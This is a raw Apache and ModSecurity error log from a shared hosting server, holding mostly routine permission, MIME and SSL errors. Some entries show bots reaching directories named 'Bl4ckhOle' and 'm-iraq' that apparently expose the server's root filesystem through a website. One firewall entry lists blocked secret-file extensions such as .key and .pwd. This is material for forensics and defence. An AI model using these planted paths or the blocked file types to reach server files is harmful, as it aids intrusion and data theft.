[Fri Jul 17 09:55:33.756343 2026] [security2:error] [pid 2019501:tid 2019501] [client 91.72.179.106:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-ip": Permission denied [hostname "monarchdss.com"] [uri "/xmlrpc.php"] [unique_id "almuvbEWOaI5pmYo9fnaOgAAAAA"]
[Fri Jul 17 09:55:34.384523 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuvpBVIrrUwtEhdafcNQAAAAU"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:55:34.384574 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuvpBVIrrUwtEhdafcNQAAAAU"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:55:34.902979 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:59344] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:37.537902 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 57.141.18.14:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory78/subsystem/devices/memory133/node0/memory73/subsystem/devices/memory114/subsystem/uevent
[Fri Jul 17 09:55:37.544522 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:59806] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:38.647310 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almuwol9vhFBGA6D8l-FYAAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1165&page_105=1816
[Fri Jul 17 09:55:38.647470 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almuwol9vhFBGA6D8l-FYAAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1165&page_105=1816
[Fri Jul 17 09:55:41.915802 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:41.915941 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:42.924476 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:38960] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:43.709233 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:43.741741 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:44.061867 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:44.098628 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:44.101086 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:44.105459 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:44.113945 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuyA5GPQ6hs4VrfMpNtgAAAAY"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:55:44.113982 2026] [security2:error] [pid 1993671:tid 1993671] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuyA5GPQ6hs4VrfMpNtgAAAAY"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:55:44.126818 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:44.241340 2026] [mime:warn] [pid 2060576:tid 2060576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:44.361706 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:44.385122 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:45.041587 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:45.764681 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:46.655590 2026] [ssl:error] [pid 2060582:tid 2060582] (70014)End of file found: [client 66.85.158.91:39070] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:46.718441 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuyvwooI4qY7Jg93pgzAAAABM"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:55:46.718482 2026] [security2:error] [pid 2030955:tid 2030955] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almuyvwooI4qY7Jg93pgzAAAABM"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:55:46.853897 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:46.863626 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:46.863852 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:46.885749 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:47.185187 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:47.202809 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:39114] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:47.232677 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:47.405208 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:47.422478 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:47.489092 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:47.552900 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:47.748859 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:47.849225 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:47.888712 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:48.068125 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:48.208819 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:39172] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:48.233316 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:49.216194 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:49.527234 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:49.593920 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:49.726750 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:49.859350 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:50.107853 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:50.329337 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 47.82.51.74:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/246:1/device/subsystem/drivers/virtio-pci/0000:00:06.0/rescan
[Fri Jul 17 09:55:50.415871 2026] [mime:warn] [pid 2060576:tid 2060576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:50.527160 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:50.543453 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:50.735381 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:50.746986 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:50.773475 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:55:53.904296 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:40678] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:58.785782 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:40880] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:55:59.045849 2026] [ssl:error] [pid 2060582:tid 2060582] (70014)End of file found: [client 66.85.158.91:40894] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:56:01.814393 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 57.141.18.56:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory111/node0/memory54/node0/memory50/node0/compact
[Fri Jul 17 09:56:05.482832 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 57.141.18.102:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory71/node0/memory111/node0/memory139/subsystem/drivers_probe
[Fri Jul 17 09:56:08.095099 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:08.204572 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:08.570964 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:08.811248 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:08.987190 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:09.157140 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:09.434287 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:09.778671 2026] [security2:error] [pid 2060582:tid 2060582] [client 85.208.96.200:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/usr/share/fontconfig/conf.avail/20-unhint-small-dejavu-sans.conf"] [unique_id "almu4QL3hs-7m5L6th_yIQAAAAM"]
[Fri Jul 17 09:56:09.779131 2026] [security2:error] [pid 2060582:tid 2060582] [client 85.208.96.200:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/usr/share/fontconfig/conf.avail/20-unhint-small-dejavu-sans.conf"] [unique_id "almu4QL3hs-7m5L6th_yIQAAAAM"]
[Fri Jul 17 09:56:09.792823 2026] [security2:error] [pid 2060582:tid 2060582] [client 85.208.96.200:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/usr/share/fontconfig/conf.avail/20-unhint-small-dejavu-sans.conf"] [unique_id "almu4QL3hs-7m5L6th_yIQAAAAM"]
[Fri Jul 17 09:56:09.792957 2026] [security2:error] [pid 2060582:tid 2060582] [client 85.208.96.200:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/usr/share/fontconfig/conf.avail/20-unhint-small-dejavu-sans.conf"] [unique_id "almu4QL3hs-7m5L6th_yIQAAAAM"]
[Fri Jul 17 09:56:09.792976 2026] [security2:error] [pid 2060582:tid 2060582] [client 85.208.96.200:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/usr/share/fontconfig/conf.avail/20-unhint-small-dejavu-sans.conf"] [unique_id "almu4QL3hs-7m5L6th_yIQAAAAM"]
[Fri Jul 17 09:56:10.056256 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:11.411656 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almu4ol9vhFBGA6D8l-FdQAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1208&page_105=1289
[Fri Jul 17 09:56:11.411685 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almu4ol9vhFBGA6D8l-FdQAAAAw"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1208&page_105=1289
[Fri Jul 17 09:56:11.738294 2026] [ssl:error] [pid 2060582:tid 2060582] (70014)End of file found: [client 66.85.158.91:47020] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:56:13.257384 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:47078] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:56:14.184199 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:47104] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:56:14.392229 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:47118] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:56:14.572590 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almu5ZBVIrrUwtEhdafcUQAAAAU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1319&page_105=2231
[Fri Jul 17 09:56:14.572658 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almu5ZBVIrrUwtEhdafcUQAAAAU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1319&page_105=2231
[Fri Jul 17 09:56:15.311408 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:47184] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:56:15.972254 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almu55BVIrrUwtEhdafcUgAAAAU"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:56:15.972288 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almu55BVIrrUwtEhdafcUgAAAAU"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:56:17.588419 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almu6VCBpfuYyhJ140veFAAAAB4"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:56:17.588468 2026] [security2:error] [pid 2018768:tid 2018768] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almu6VCBpfuYyhJ140veFAAAAB4"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:56:17.682265 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:47256] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:56:18.475770 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:18.615313 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:18.811358 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 57.141.18.96:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory123/node0/memory106/subsystem/devices/memory61/subsystem/devices/memory121/subsystem/drivers_probe
[Fri Jul 17 09:56:18.818274 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:10/subsystem/ttyS3/irq
[Fri Jul 17 09:56:18.920492 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:19.434299 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:19.885682 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:19.917291 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:21.812249 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almu7Y-0g_VSPeIeFN3LkQAAAAs"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1037&page_105=1610
[Fri Jul 17 09:56:21.812291 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almu7Y-0g_VSPeIeFN3LkQAAAAs"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1037&page_105=1610
[Fri Jul 17 09:56:26.040029 2026] [security2:error] [pid 2060590:tid 2060590] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almu8nv42nOn2tp5Eua0_gAAABA"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
